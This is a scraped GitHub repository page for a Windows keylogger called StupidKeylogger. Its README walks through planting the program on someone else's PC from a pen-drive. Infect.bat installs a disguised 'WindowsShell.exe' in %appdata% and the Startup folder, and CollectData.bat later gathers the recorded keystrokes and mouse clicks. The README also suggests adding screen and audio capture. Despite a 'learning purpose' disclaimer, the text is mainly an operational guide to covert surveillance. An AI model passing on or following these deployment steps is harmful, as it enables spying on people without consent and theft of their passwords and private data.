Skip to content
A Terrific Keystroke Recorder (keylogger-key-logger-spyware-spy-trojan-simple-virus-for-windows-10-7-xp-smart-c-c++-cpp-code)
C++ Batchfile
Branch: master
Clone or download
Type Name Latest commit message Commit time
Failed to load latest commit information.
com/minhaskamal/stupidKeylogger removed invalid code line Oct 31, 2017
LICENSE Update LICENSE Oct 17, 2016 stupid keylogger Feb 2, 2017


A Terrific Keystroke Recorder

This tacky program hides itself in the subject’s PC (Windows XP or later), and silently records all keyboard and mouse operations. It is launched automatically with PC start, then stores data in ASCII code with record-date. Now all you have to do is- collect the record, and decode it.

This project is created only for learning purpose.

How to use?

  1. Download the full package from here, unzip it, and move it to your pen-drive. It should look something like this-

WindowsShell.exe is the compiled and renamed form of Keylogger.cpp. Of course you do not expect others to let you insert a pen-drive containing keylogger; even if that is stupid! WindowsShell is the link file of WindowsShell.exe.

  1. Insert your pen-drive in a computer and run Infect.bat. This will install WindowsShell.exe (in the %appdata% folder) & WindowsShell.lnk (in %appdata%\Microsoft\Windows\Start Menu\Programs\Startup) in that PC, and start it.

  2. Wait for some days (I know it is hard but be patient), then return to the PC, insert the pen-drive and run CollectData.bat. You will get a file named Record.log. This is what it contains-

  1. Now, simply run RecordDecoder.exe (keep Record.log in the same folder & do not rename it), and you will get Data.log. This file contains all the key-strokes and mouse-clicks. It is all up to you now to find necessary information from this (good luck with that!).

You may use RecordDecoderFocused instead of RecordDecoder.exe, it will get rid of some unnecessary data automatically for you.

  1. If you want to remove the Keylogger from that PC, run Cure.bat.

Surely you can use it in many other ways; and also enhance its ability by adding a screen capturer, or sound recorder, and so on.

Note: I will not take any responsibility of someone else's ill act with my program. But I do believe that a real learner will learn a lot from this.

This is actually a pre-project for TrojanCockroach.


MIT License
StupidKeylogger is licensed under MIT License.

You can’t perform that action at this time.